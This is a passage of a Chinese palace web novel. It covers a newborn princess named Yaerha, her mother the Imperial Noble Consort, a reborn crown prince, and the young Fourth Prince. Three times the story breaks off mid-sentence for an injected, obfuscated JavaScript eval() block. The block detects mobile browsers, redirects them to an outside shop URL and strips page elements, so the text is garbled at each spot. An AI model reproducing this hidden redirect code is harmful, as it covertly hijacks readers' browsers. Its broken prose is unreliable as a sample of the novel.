虽然小格格病了,她们少不得会被皇贵妃娘娘责罚一顿,但若是小格格再这么哭下去,万一落了什么病根,那祸及的可是在宫外的家人。 另一位王嬷嬷表情不比钱嬷嬷好上多少,看着襁褓里哭得全身都红了的小格格,王嬷嬷一咬牙,“你守着小格格,我这就去寻章嬷嬷。” 自打小格格出生后,皇贵妃便将照顾小格格的重担交给了章嬷嬷,如今小格格身边的嬷嬷宫女们都是章嬷嬷在管着,昨夜小格格闹觉,章嬷嬷和另外两个值守夜晚的嬷嬷哄了一宿,直到天亮才回去睡下了。 听王嬷嬷说小格格啼哭不止,章嬷嬷也顾不得睡觉了,起身披了一件衣裳便匆匆忙忙往后殿去。 “小主子如何了?” 一进房间章嬷嬷的眼睛便自动探寻到了小格格的身影,着急忙慌地走过去,接过襁褓轻轻哄着。 小格格是个爱哭闹的性子,自打出生后就没有停歇过,一有不顺心就哭给你看,还不能放摇篮里,要人一边走一边抱着,轻轻晃着,昨夜章嬷嬷便是这样将小格格哄好的。 可惜这次不管用了。 哄了好一会儿,小格格还是细细抽噎着,小拳头握得紧紧的,仿佛受了天大的委屈。 章嬷嬷心疼得不行,这可是货真价实的小主子,焦急道:“快去瞧瞧,太医到哪儿了,可别在路上耽搁了。” 小主子的事儿再小都是大事,王嬷嬷刚与章嬷嬷说明了缘由,章嬷嬷便让腿脚灵活的小太监拿对牌去请了太医,算算脚程,太医现在也该到承乾宫了。 “赵太医,您快点儿,”小德子恨不得将太医举起来飞奔承乾宫,可在宫道上顾着规矩又不好拉着赵太医走快点,只能急急催促道,“小格格可还在承乾宫等着呐。” 胡子花白的赵太医是宫里的儿科圣手,一个时辰前才到承乾宫为小格格请过平安脉,那会儿小格格还健康着,没料到这么快就出了事,只好一边喘着粗气一边挥手:“快了,快了。” 到了承乾宫后殿,赵太医连气都没喘匀就被章嬷嬷扯了过去,让他好好给小格格瞧一瞧。 大家都是老熟人了,四阿哥的平安脉也是赵太医在请着,知道章嬷嬷就是这么个性子,太医也没和她计较,开始过问小格格在这一个时辰里发生的大事小事。 “小格格半炷香前刚吃了奶,那会儿还好好的,没一会儿便不知缘由地哭了起来,哭声响亮极了,奴婢以为是溺了,给小格格换了一回尿布,没想到小格格还是啼哭不止,”钱嬷嬷急得额角冒汗,“可是小格格有哪里不妥?” 赵太医一一检查过小格格所用物件,又盘问奶嬷嬷最近的吃食,最后得出结论。 小格格身体并无不妥,唯一算得上毛病的便是哭得久了,嗓子有些水肿。 不过这也不是什么大问题,只要小格格休息个一日,自己就好了。 但现在的问题就是小格格哄不好,嗓子哭得沙哑发出嘎嘎声也还是不肯停下来。 章嬷嬷非常怀疑赵太医的医术,丝毫不委婉地问道:“可是还有什么毛病没看出来,不然小格格怎么会无缘无故哭这么久?” 被人用看庸医的眼神看着,赵太医也不生气。 宫里的阿哥格格金贵,一有点风吹草动便请太医,让太医开安神汤药,但小格格如今才出生几日,不好用药,赵太医捋了捋胡须,“我开个安神方子,让奶嬷嬷喝上两贴,不过每个婴儿情况都不相同,长久喝药不是办法,还是需要嬷嬷寻出能让小格格自发安静下来的办法才好。” 在宫里待了这么些年,赵太医见过的婴儿多了去了。 有生下来就象征性嚎一两声,之后吃饱就睡很少哭闹的,有遇到不顺心的东西就开始哭闹,但解决问题之后还是很好安抚的,还有睡眠浅哭闹频繁一旦开哭就难以停下来的。 毫无疑问,这位小格格属于第三种。 但也不是没有解决的办法。 赵太医发挥自己职业修养给章嬷嬷出主意:“刚出生的孩子对气味敏感,嬷嬷可以寻一两件皇贵妃娘娘穿过的旧衣放在小格格身边,熟悉的气味或许能让小格格心安。” 听赵太医这么一说,一旁的钱嬷嬷也连忙出主意:“民间有个说法,母子连心,或许是小格格熟悉了皇贵妃娘娘······” 话还没说完,钱嬷嬷就意识到自己犯了忌讳。 宫里的妃嫔娘娘们哪有亲自养孩子的,都是奶嬷嬷照顾着,娘娘们偶尔过问。就算是要召见,也是由奶嬷嬷刚喂过奶,孩子不会哭泣惹人烦时由奶嬷嬷抱过去的。 —— 承乾宫正殿。 皇贵妃带着宝蓝色镶玉石抹额,神色恹恹。 赫舍里夫人坐在床榻边上,手上端着一碗黄芪鸡汤,用汤匙尝了尝味道,这才喂给皇贵妃:“这汤用文火煨了两个时辰,最适合产后气虚乏力调养身子,额娘知晓你不喜欢鸡汤的油腻腥气,特地让人撇了上面那一层油花,又加了红枣与些许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480689|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当归,喝起来清淡温润,是你喜欢的味道。” 听赫舍里夫人这么一说,皇贵妃才转过头来,由着赫舍里夫人喂了一小碗。 这么一小碗鸡汤喝得皇贵妃额角微微冒汗,脸上也多了些红润。 见皇贵妃脸上终于有了血色,赫舍里夫人放下心来,“自个儿的身子才是最重要的,旁的都是小事,家里如今一切都好,外面的事有你阿玛他们在,你在宫里好好的就是最大的帮助了。” “我知道的,额娘,”皇贵妃声音带着虚弱,“但是太医说,我这胎伤了身子,以后难再有孕了。” 有孕时,皇贵妃只希望腹中的孩子健健康康平平安安地出生。 但当孩子出生后,皇贵妃闷在承乾宫里坐月子,又不可避免多思多想。 家族后位子嗣,压在皇贵妃心里的三座大山,使她喘不过气来。 皇贵妃不可避免地钻了牛角尖。 一会儿担心自己养不好这个孩子,宫里夭折了那么多阿哥格格,自己孩子小小的一团,要怎么样才能长到四阿哥那么高呢。 一会儿又对自己唾弃,得知有孕时多么狂喜,自己终于有了孩子,如今孩子生了下来,她却偶尔遗憾不是位阿哥,不能帮助自己登上后位,多么卑劣的心思,这可是她千盼万盼才求来的孩子啊。 矛盾的心思拉扯着皇贵妃,她突然落下泪来,靠在赫舍里夫人肩头小声哽咽:“额娘,我不是个好额娘。” 见皇贵妃这般情态,赫舍里夫人心疼得不轻,连忙将皇贵妃揽在怀里,心肝儿地喊了起来。 眼看母女两人马上就要相拥而泣,青杏面不改色地屏退房间里伺候的宫女们,自个儿搬了个绣墩到门口边上守着做针线。 借着眼泪抒发了心里的苦闷,皇贵妃红着眼睛,面对亲近的额娘一五一十地将心里的想法说了出来,罢了,又难以自弃,“额娘,我是不是很坏。” 赫舍里夫人像幼时那般轻轻拍着皇贵妃单薄的脊背,“不哭,不哭啊,额娘的安珠自幼良善,怎么会有坏心思呢。” “再说,这胎是个格格,对你而言未必不是件好事,”赫舍里夫人压低了声音,对着皇贵妃耳语道。 剩下的不必多言,她知道自家女儿自幼聪慧,懂得自己话语下的意思。 有太皇太后在,太子地位稳如泰山,一名有阿哥的皇贵妃绝对坐不上皇后的位置。 但若是格格那又不同了,再说了,伤了身子难再有孕,这对普通妃嫔而言或许是个坏消息,但对于一直有志于后位的皇贵妃而言,这在太皇太后眼里估计是个加分项。 “章嬷嬷来啦,”门口传来青杏微微抬高的声音,“哟,您怎么把小格格也带来了。” 门口传来若有若无的交谈声,赫舍里夫人用温水绞了帕子给皇贵妃擦脸,最后劝了一句,“便是公主,那也是固伦公主比和硕公主更加尊贵,娘娘可得振作起来,好好为小格格打算。” 5. 雅尔哈 一进房间,章嬷嬷便瞧见了皇贵妃微微泛红的眼眶。 但她也不是什么没眼色的人,见着青杏守在门边时她便明白,主子和夫人估计在说什么贴心话,不好让人知晓。 因此章嬷嬷没多问,只是行过礼后抱着小格格到了皇贵妃跟前,将来龙去脉说了一通,又向皇贵妃求了两件旧衣让小格格安睡。 小格格已经哭累睡着了,皇贵妃轻轻拨开襁褓,看着即使在睡梦中也止不住抽噎的女儿,心里像是塞了柳絮,对这一小团又怜又爱。 “不过是几件旧衣,小格格需要拿去就是了。” 因为在坐月子的缘故,皇贵妃见不得风,奶嬷嬷也不敢抱着小格格过来打扰,因此除了生产后见过一面,这还是皇贵妃第二次见到自己女儿。 “怎么在睡梦里这般委屈,”皇贵妃伸出一根手指轻轻碰了碰小格格的脸颊。 许是感受到了熟悉的气息,小格格哼哼唧唧了两声,在皇贵妃的注视下缓缓睁开了眼。 小小的婴孩本能地用目光去追寻母亲的面容,那双眼还蒙着一层水汽,像浸在晨露里的黑葡萄,懵懂地、直直地撞进皇贵妃的眼底。 没有哭闹,没有不安,只那样安静地望着她,仿佛天生就认得这张脸。 皇贵妃心口猛地一酸,方才强压下去的涩意又翻涌上来,她不敢大动,只微微倾身,用指尖极轻地拂着女儿脸颊,以往口齿伶俐的唇舌如今略显笨拙,只能重复安慰着,“不怕不怕啊,有额娘在呢,有额娘在什么都不用怕啊。” 章嬷嬷原本还忧心小格格醒了继续哭闹,如今见到这样一幕,当即松了口气,脸上露出真切的笑意,连连夸赞道,“主子您看,这就是母女连心啊,小格格这是知道额娘在身边,所以才这般安稳,半点不闹,真是个贴心的小格格。” 这话半点做不得假。 带了小格格四五日,小格格只要睁开眼睛,第一件事就是张嘴嚎啕大哭,现在却安安静静躺在襁褓里,乖巧极了。 一旁的赫舍里夫人含笑看着女儿和外孙女,眼底满是慈爱,她轻轻拍了拍皇贵妃的手背,温声开口:“孩子总不能一直小格格、小格格地唤着,太生分了。宫里的公主,正式的封号要等长大些皇上才会赐,小时候先取个小名,平日里唤着也亲近。” 皇贵妃目光始终没离开女儿的小脸,看着那双懵懂望着自己的眼睛,一个名字脱口而出,“雅尔哈。” 在皇贵妃年幼时,她曾跟随阿玛打猎,在林中与一匹咬着猎物的母豹对视。 那是一只敏捷,矫健,勇猛的豹子,是皇贵妃见过的最优美强大的生物,她希望自己女儿同样性格坚韧,聪慧机敏。 怀揣着对女儿未来美好的祝愿,皇贵妃定下了女儿的名字,“雅尔哈,本宫的女儿。” 自打有了小名,或许也是皇贵妃旧衣的功劳,雅尔哈虽然依旧睁开眼第一件事就是哭,但却比之前好哄许多,再也不会急得奶嬷嬷唤太医了。 被锻炼出来的奶嬷嬷也熟练掌握了雅尔哈的生物钟,往往雅尔哈刚醒还没来得及哭嚎,食粮就喂嘴里了。 承乾宫一片欣欣向荣,乾清宫里的宫女太监们却一个个夹紧了尾巴,连走路都是踮着脚尖走的,生怕闹出点动静惹得皇上本就焦头烂额的心情不快。 偏生让皇上焦头烂额的罪魁祸首浑然不觉,怡然自得地迈进乾清宫正殿,嗓音清亮又带着悠闲,“儿臣来给皇阿玛请安来了。” 自从坠马后,太子便仿佛看宫里所有人不顺眼,先是和大阿哥打了一架,把大阿哥打得鼻青脸肿,后又带着三阿哥逃课,闹得尚书房鸡飞狗跳,听说还想去承乾宫探望一番四阿哥,只是皇贵妃坐着月子不好接待,便没有去成。 这么闹下来,即使康熙心偏到了胳肢窝里也不能说太子无辜。 毕竟明眼人都瞧见了,是太子主动挑衅的大阿哥,趁着大阿哥不备先往眼眶上砸了一拳,后又使了些不那么光明正大的招数把大阿哥压着打,还全部往脸上招呼,把大阿哥面子里子都打没了。 太子是个宝,其他孩子也不是从地里捡回来的,康熙最近进后宫都不好往延禧宫与钟粹宫去,只能派人送了些奇珍异宝作为弥补。 但是处罚太子是不可能的。 梁九功知道这位祖宗不好惹,见太子直直地往里闯,连忙陪着笑,拦是不敢拦的,只能跟在太子身侧试图劝阻,“皇上正在接见大臣不好打扰,太子殿下先坐着吃些点心,奴才——” 话还没说完,太子便冷冷一笑,“怎么,你要做孤的主不成。” 梁九功连道不敢,但还是使了眼色让几个小太监将太子团团围住,皇上没发话让太子殿下进去,他便是有一百个胆子也不敢让太子殿下就这么闯进去了啊。 不能伤到太子,只能用这种笨办法了。 太子不为难他们,直接扯着嗓子开始喊,“皇阿玛,皇阿玛,儿臣来给您请安来了!” 若是成年皇子这般作态,少不了被罚出去跪一跪或是直接幽禁,但太子如今才九岁,仗着自己年纪小,索性不讲道理。 这优势,现在不使劲用一用,以后长大了可就用不了了。 “行了,让太子进来。” 听见太子响亮的喊声,正在与大臣闲谈的康熙闭了闭眼,妥协了。 平常在宫里闹一闹也就算了,他还能压下来,现在闹到大臣面前,他倒要看看保成究竟想做什么。 一进议事间,太子便瞧见了很多熟面孔。 “叔祖父也在啊,还有明珠大人,用过午膳了吗,”太子笑眯眯地随口打招呼。 “保成,”康熙不轻不重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480690|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤了一声,看着太子吊儿郎当的模样就有些来气,眉间微蹙,“你的规矩呢。” 这些日子太子实在不像话,原本念着太子受了苦,即使大阿哥与三阿哥被他罚过了,还是由着太子做出稚嫩的报复,但太子近日的作风实在过了些,乾清宫正殿岂是能够随意擅闯的地方,更何况他在与朝臣谈论正事。 “还请皇阿玛恕罪,”太子敷衍地行了个礼,为自己找了个不走心的借口,“儿臣伤了脑子,记性不大好,皇阿玛大人有大量,就别与儿臣一般见识了。” 太子是真觉得自己脑子有毛病,任谁经历过他上辈子的大起大落都会变成神经病的。 虽然太子也搞不明白自己为什么回到了九岁这个年纪,但他现在看得很开,无所谓了,有本事皇阿玛就再把他给废了,一回生二回熟,三回四回不嫌多。 康熙脸沉了下来,相比以往和蔼可亲的面孔,还是这样冷漠的嘴脸让太子觉得熟悉。 太子的亲亲叔祖父索额图见皇上脸色不太好,连忙打圆场,“殿下何时病了?可请太医瞧过?” 对这位始终与自己站在一起却下场凄惨的叔祖父,太子还是敬重的,难得没呛声,还安抚了一下长辈,“不是什么大毛病,只是忘了些东西,于身体无碍。” 这话也做不得假,谁还记得自己九岁时发生的大小事,那也太过遥远了,就当自己把脑子摔坏了吧。 至于太医怎么说,哼,他坚持自己记不得了,难道太医还能把他脑子剖开看看不成。 原本只是例行关怀两句,听太子这么一说,索额图却真的有些急了。 这可是太子,储君,未来的皇上,伤了脑子可不是什么小事,皇上待太子殿下不上心,他这个叔祖父可得为太子殿下好好谋划才是。 索额图在脑子里扒拉着赫舍里家在太医院的人手,明珠与佟国维一言不发,不想掺和这对天家父子间的斗法。 尤其是佟国维,他的女儿皇贵妃如今还在后宫里呢,回头就让人带个口信,让她把四阿哥看严实些,别被太子祸害了到时候牵连到她。 眼看太子与索额图就要借着乾清宫的地儿开始话家常了,康熙心里憋了一股气,“保成,你这般急匆匆闯进来,究竟有何事要见朕?” “儿臣方才便说了,只是来给皇阿玛请安,”太子对着康熙拱手一礼,神色一派坦然,“如今见皇阿玛龙体康健,儿臣也就放心了,不敢再打扰皇阿玛与诸位大臣议事,儿臣告退。” 明珠与佟国维面面相觑。 这位太子殿下,就这么莫名其妙地来,又莫名其妙地走了? 康熙被气得不轻。 他精心养大的太子,自幼聪慧,熟读各类儒家典籍,精于骑射的宝贝儿子,如今怎么会这般行事? 是不是身边有人教坏了他? 6. 太子 伺候太子的人又换了一波,不过太子已经习惯了,在他身边伺候的人除了奶嬷嬷就没有长久的。 与其惦记着这些事,还不如去承乾宫看看四弟,自打回来后,他还没见过这位上辈子的最后赢家呢,也不知道小时候的四弟性子怎么样,他只记得长大后的四弟面容冷肃像个冰块,堪称铁面无私的最佳典范。 收到太子过来请安的消息时,皇贵妃有些惊讶。 她与太子算不得熟悉,太子养在乾清宫,那里位于前朝地界,甚少有妃嫔过去,皇贵妃刚入宫那会儿倒是被康熙常常宣过去伴驾,也与这位太子殿下打了不少照面,在皇贵妃印象里,太子进退有度,端庄有礼,是个有气度的好孩子。 倒是没想到,刚出月子第一个见的外人不是后宫妃嫔反而是太子。 因为今日本来就打算见客的缘故,皇贵妃用过午膳便换了一身绣着折枝牡丹的软缎纱袍,又仔仔细细上了妆,戴了钿子头,耳边坠着东珠,这幅打扮见谁都不会失礼。 “请太子殿下进来。” 此时的太子表现得再正常不过,温文尔雅地与皇贵妃见了礼看了座,又被皇贵妃关心了几句,然后才说出自己的来意,“听说四弟再过两个月便要去尚书房了,儿臣带了些当初启蒙时用的书籍给四弟,四弟若是有什么不懂之处,也方便随时问询。” 四阿哥十月的生辰,实岁五岁,不过宫里的人都是按虚岁来算,虚岁六岁也该是去尚书房的年纪了。 届时也要搬去阿哥所,不过不急,刚出月子还没来得及收回宫权,现在就去安排未免委屈了四阿哥。 “四阿哥年纪小,启蒙都是身边的教导嬷嬷们在做,肯定比不得太子受皇上教导,文武双全,”皇贵妃垂眸抿了一口茶水,又对太子露出些真心实意的笑容,“劳烦太子亲自走这么一遭,能得太子解惑,四阿哥想必会很高兴。” 教导嬷嬷们启蒙都只是教些简单的学识,比如识字认字之类,想要再多的墨水便没有了。 “朱樱,”皇贵妃唤了一声。 侍立在皇贵妃右侧的宫女应了一声,站出来对着太子行了个万福礼。 “按照规矩,应该让四阿哥来正殿向太子见礼的,”皇贵妃对着太子露出歉意的笑容,“不过本宫待会儿还要接见后宫嫔妃,不好让太子在正殿久留,四阿哥如今在东偏殿念书,太子若是能教导几句便再好不过了。” 太子谦虚了几句,这才随着朱樱往东偏殿去了。 —— 东偏殿内静得只剩笔尖划过宣纸的沙沙声,四阿哥端坐在一张小巧的紫檀木椅上,小小的身子挺得笔直,握着一支特制的羊毫小毛笔,仿佛刻在骨子里的端正。 四阿哥写大字时向来不爱旁人打扰,只有一个教导嬷嬷候在小书房外随时等着吩咐,此时猝不及防见到太子,教导嬷嬷刚想出声便被太子示意停住声音,只行了个礼,然后眼睁睁地看着太子不声不响地站在四阿哥身后。 教导嬷嬷满头雾水地看向朱樱。 作为皇贵妃身边的一等宫女,朱樱行事向来稳妥,给教导嬷嬷打了个眼色,拉到门外小声说了两句。 最后又多了一个宫女并一个小太监守在小书房门口。 “你这个字结构不对,左边太宽了。” 太子故意冷不丁地开口。 四阿哥像是只炸毛的猫咪一样,浑身一抖,反应了好一会儿才回过神来,扭过头时眼睛瞪得溜圆,小脸绷得紧紧的,“太子二哥。” 他对自家兄弟还是有印象的。 未搬去阿哥所的皇子们其实相处得并不多,除了重大节日与日常向康熙、太皇太后和皇太后请安之外,养在后宫各处的阿哥们其实很少见面,四阿哥长到这么大也没和太子多说过几句话,实在算不上熟悉。 但是现在。 四阿哥看着吓了人还一脸坦然的太子。 他觉得太子二哥有一点恶劣。 太子当然知晓吓人是不对的,他年幼时被教导得循规蹈矩,从未做出过出格的举动,更别说这么幼稚的行为了。 但看着四阿哥有些僵硬的表情,太子品出了趣味,甚至已经想好了下一个受害者。 不过太子还不打算破坏自己的好哥哥形象,一本正经地握住四阿哥肉嘟嘟的小手,“来,我教你写一遍。” 四阿哥狐疑地看了太子一眼,太子轻轻拍了拍他的脑袋,“看我做什么,看宣纸,若是写不好大字日后入了尚书房被嘲笑我可不会帮你。” 虽然他记得日后四弟的书法很不错,但那也是一步一步练起来的,现在写的大字在他眼里和狗刨没两样。 再说现在尚书房那两个,一个没长脑子一个不会看人眼色,四弟刚去还真说不好会如何。 带着四阿哥写了几遍大字,太子见他自己有意改正,便不再握着他的手,转而让小太监将自己带的文房四宝拿了出来。 虽然那只是自己想见四弟的托词,但太子绝不会给人留把柄,面子功夫也做到位,带的书籍是有康熙标注的,砚台也是从乾清宫顺的上好的端砚。 知晓年幼的阿哥都会对皇阿玛带有孺慕之情,因此太子也实打实说了,“这本《大学》是皇阿玛当初为我启蒙用的,上面带有皇阿玛的批注,也不知如今你学到了哪里,若是有什么不懂的地方尽管问,趁现在我都可以为你解惑。” 就算九岁的太子或许有些地方同样不明白,但五十岁的太子早已经将这些典籍吃透,任何难点都可以信手拈来。 四阿哥没想到太子竟然这么大方,他没被太子的糖衣炮弹冲昏头脑,依旧记得太子吓唬他的事,大着胆子问道:“这算是太子二哥的补偿吗?” 现在太子不觉得四弟有趣了。 给好东西收着就是了,问那么多做什么,笑话,他堂堂储君给的东西都是赏赐,谁敢说补偿。 不过也是,太子瞥了养得白白嫩嫩的四阿哥一眼,他记得有弟弟说四弟是个小心眼来着。 于是太子点了点头,然后就看着四弟将毛笔搁在笔洗旁,自个儿拿起《大学》翻了翻,将边角掖平整放入小书架,又从小书架上抽出了一本《三字经》。 这是要做什么,难不成四弟连《三字经》都尚未学完不成? 太子好奇,也问了出来。 四阿哥小脸上的严肃褪去几分,声音软糯却清晰,颇有礼貌地询问:“太子二哥,我要去后殿看雅尔哈了,你要一道去吗?” 太子疑惑。 太子恍然大悟。 是了,皇贵妃不久前生下八格格来着,雅尔哈想必就是这位小格格的名字了。 太子顿时来了兴致,很想知道这位四弟要做什么,嘴角勾起一抹温和的笑意,“一道去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480691|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还没见过八妹妹呢。” 承乾宫后殿的暖阁里,白日里伺候雅尔哈的,依旧是钱嬷嬷与王嬷嬷。 此时的雅尔哈刚饱饱喝了一顿奶,被嬷嬷们裹在柔软的水红色锦被里,小脑袋歪着,一双乌溜溜的小眼睛睁得圆圆的,正是精力充沛,好奇好动的时候。 两位嬷嬷已经习惯了四阿哥雷打不动地这个点过来,早已备好了茶水点心,只是远远瞧着多了个明黄色身影,两人皆是一惊。 太子殿下怎么来了? 太子瞧着她们局促又不知所措的模样,抬手摆了摆,“照常便是了,孤与四弟过来看看八妹妹,不必多礼,也不必特意伺候。” 话是这么说,但两位嬷嬷可不敢将太子当做一般人,一边派了名宫女去知会章嬷嬷一声,一边一眼不眨地在房间内看护着,生怕太子起了好奇心,没轻没重伤了小格格。 在太子记忆里,八妹妹是早夭了的,但何时夭折的他也不记得了,因此他的注意力主要还是放在四阿哥身上。 四阿哥已经轻车熟路地到了摇篮旁,先是小心翼翼地伸出手,碰了碰雅尔哈柔软的小脸蛋。 后又用手捂住自己的脸,再突然移开,和雅尔哈玩起了蒙上脸你就看不见的游戏,逗得雅尔哈咯咯咯地笑。 太子惊讶了,他没想到四弟还有这般童趣的一面。 他只知道四弟与德妃关系似乎不太好,和十四弟也是,后面十四弟站了八弟,四弟更是一见他就没什么好脸色。 虽然四弟那个冰块脸也看不出来什么脸色就是了。 婴儿嗜睡,不多时,雅尔哈便张着小嘴,打了个大大的哈欠。 四阿哥见状,从怀里掏出那本《三字经》,又搬来一张小凳子,坐在婴儿床边,重新绷起小脸,一板一眼地读了起来。 雅尔哈偶尔配合地发出两句啊啊声,好似在与四阿哥一唱一和。 太子好奇,“八妹妹能听懂吗?” 便是再天资聪颖,一个月大小的婴儿也听不懂人话吧? 太子自个儿也是有过孩子的。 见雅尔哈眼神逐渐变得朦胧起来,四阿哥转身对着太子比了个嘘声的手势,太子可有可无地闭上嘴。 直到雅尔哈慢慢闭上眼睛,四阿哥这才动作轻柔地替妹妹掖了掖被角,而后拉着太子的衣袖,一同轻手轻脚地走出了暖阁。 “额娘说雅尔哈听不懂,”四阿哥走在太子左后侧,脸上带着几分认真,“但是每次雅尔哈听了都会睡得很快,嬷嬷说哭多了对嗓子不好。” 太子顿了一下才反应过来四阿哥说的额娘是皇贵妃。 这也不怪他,实在是皇贵妃走得太早,在太子记忆里,皇贵妃去世后,四阿哥便被送回了永和宫由德妃抚养,此后他口中的额娘,便一直是德妃了。 太子停下脚步,终于认真打量起这个年幼的,还不到他肩膀高的四弟。 已经长大了的四弟清瘦,不苟言笑,后来更是自封了个破尘居士,号称是天下第一闲人,仿佛整个人都无欲无求快要成仙了似的。 年幼的四弟身形小小的,脸上带着稚气,对着八妹妹笑起来时柔软又鲜活,是一个被呵护着,被爱着的真正幸福的孩子。 所以后来四弟变成那张死人脸都是皇阿玛不做人。 太子起承转康熙,又在心里把康熙骂了一通。 7. 雅尔哈 盛夏的天气总是格外火热。 一岁雅尔哈穿着浅粉色暗花绸小衫配浅粉软罗小裙坐在铺了凉席的炕上,头上的无骨软缎小凉帽被她扯得要掉不掉,索性在室内见不到风,奶嬷嬷上前帮忙重新戴了两次遭到拒绝后也就随她去了。 “雅尔哈。” 这是四阿哥难得的空闲日子,尚书房没有休息一说,只要去了就是卯入申出,寒暑不辍。 他上次见到雅尔哈还是端午那会儿,如今已经七月底,算一算时间,自己已经有两个月没有见到八妹妹了。 好像听到了自己的名字? 正在和布老虎奋力搏斗的雅尔哈略微松了嘴,抬头四处张望。 也不知道她是穿越了还是重新投胎了,反正再有意识时就是一个小婴儿,整天就知道吃吃睡睡,思维仿佛也被身体给影响了,时常做出一些格外幼稚的举动。 不过她现在就是货真价实的小孩子,也没什么。 雅尔哈默默想着,低头又咬上了布老虎的耳朵,使劲磨了磨。 不对,她记得好像是有人在叫自己来着,这新脑子就是不好用,注意力太容易分散了,一旦想点什么就很容易忽略外界的动静。 雅尔哈又重新抬头,用自己仿佛近视眼似的眼睛自己瞧了瞧,发现门口多了一个模糊不清的身影。 这谁啊? 在雅尔哈有限的记忆里,她这辈子似乎出生在一个大户人家,光是奶娘都有四个,还有好些她认不出的侍女,她自己拥有一个独立的院落,每天都会被奶娘抱去香香软软的母亲那里一小会儿。 她记得奶娘和母亲的气味、声音,所以站在门口的这是谁,知不知道自己挡住光线了。 心里狠狠诽谤了一通,奈何语言不通再加上身体配置跟不上,雅尔哈表现出来的就是呆呆愣愣地看着四阿哥。 以为妹妹还记得自己的四阿哥有些惊喜,激动地迈着小短腿到了雅尔哈跟前,然后,满脸严肃地帮她理正了小凉帽。 顺便学着皇贵妃的样子绷着小脸敲打了一番伺候雅尔哈的奶嬷嬷:“格格年纪小,伺候的人更要多看顾着些,不许仗着格格不懂事便怠慢了。” 四阿哥再也不是那个养在承乾宫天真不懂事好糊弄的四阿哥了,经过尚书房和太子的历练,四阿哥已经充分知晓了底下人的阳奉阴违,能熟练拿起小主子的气势了。 奈何王嬷嬷与钱嬷嬷是真的觉得冤枉。 小格格是个有主意的,不合心意是真能闹腾,这点小事难道她们还要和小格格对着干吗? 那恐怕整个承乾宫都不得安宁了。 两人对视一眼,王嬷嬷刚想站出来说明原委,雅尔哈已经不耐烦地再次将小凉帽扯成了要掉不掉的样式,顺便拿着布老虎爬到了远离四阿哥的另一头。 这熊孩子叽里咕噜说什么呢,帽子可是她好不容易弄好的,不知道不能随便破坏别人的造型吗? 算了,离熊孩子远一点吧。 刚才四阿哥离得远雅尔哈眼神不好没发现,直到四阿哥走近在眼里越来越清晰雅尔哈才惊觉这是个小孩。 自己就是小孩,雅尔哈对小孩有多大破坏力再清楚不过了,况且这还是一来就动她帽子的小孩。 雅尔哈毫不留情地给四阿哥盖上了熊孩子的戳。 还是离远一点好,万一熊孩子没轻没重伤了她,痛的可是自己。 雅尔哈对自己九成新的身体可珍惜了。 王嬷嬷的解释在雅尔哈的动作下格外有说服力,知晓妹妹不是被奶嬷嬷怠慢了的四阿哥放松神色,转而开始和雅尔哈交流感情。 不过六岁的小孩也做不出什么惊天动地的大事,再加上四阿哥本来就有点偏闷葫芦的性子,说是交流感情其实也不过就是拿了玩具想陪雅尔哈一起玩。 雅尔哈不理他,自顾自坐在炕角玩着手里的布老虎。 四阿哥丝毫不受挫,只当妹妹年纪小认生,不知从哪里端来了一碗南瓜泥,蹲在炕沿边诱惑雅尔哈,“要吃吗?” 自打模模糊糊有了记忆,雅尔哈便不肯再喝奶了,任由奶嬷嬷怎么哄怎么劝也不喝,后来还是太医来了一趟,说八九个月大的婴儿喝羊奶也没事,之后雅尔哈的主食便转为了羊奶。 她又是个嘴馋的,见到别人吃好吃的自己也要吃,不给就闹,周岁那会儿太医又不辞辛劳地跑了一趟,给出了喂小格格吃肉糊糊和蔬菜糊糊的法子,其中雅尔哈最喜欢的就是南瓜糊糊了。 缩在炕角的雅尔哈闻到熟悉的味道,小鼻子动了动,又抬头看了看王嬷嬷与钱嬷嬷,最后还是败给了嘴馋,慢吞吞从炕角爬出来,长大嘴巴:“啊——” 显而易见的肢体语言。 四阿哥还是第一次喂人,不过他读书聪慧,在这事儿上也无师自通,用小金勺细细地舀了小拇指尖大的一勺,轻轻吹了吹,将勺子平着送进了雅尔哈的嘴。 就是他喂得实在有些慢,不过被雅尔哈催促般地拍了两次后,四阿哥也掌握了喂饭的节奏,瞧见雅尔哈准备张嘴便及时喂出下一勺。 直到雅尔哈吃完她拳头大点的南瓜糊糊,四阿哥还有些意犹未尽。 王嬷嬷对雅尔哈的饭量了如指掌,当即劝道:“可不能再吃了,今儿阿哥回来娘娘特地让小膳房备了菜,估摸着待会儿就有人来请了,小格格看着却吃不下会闹的。” 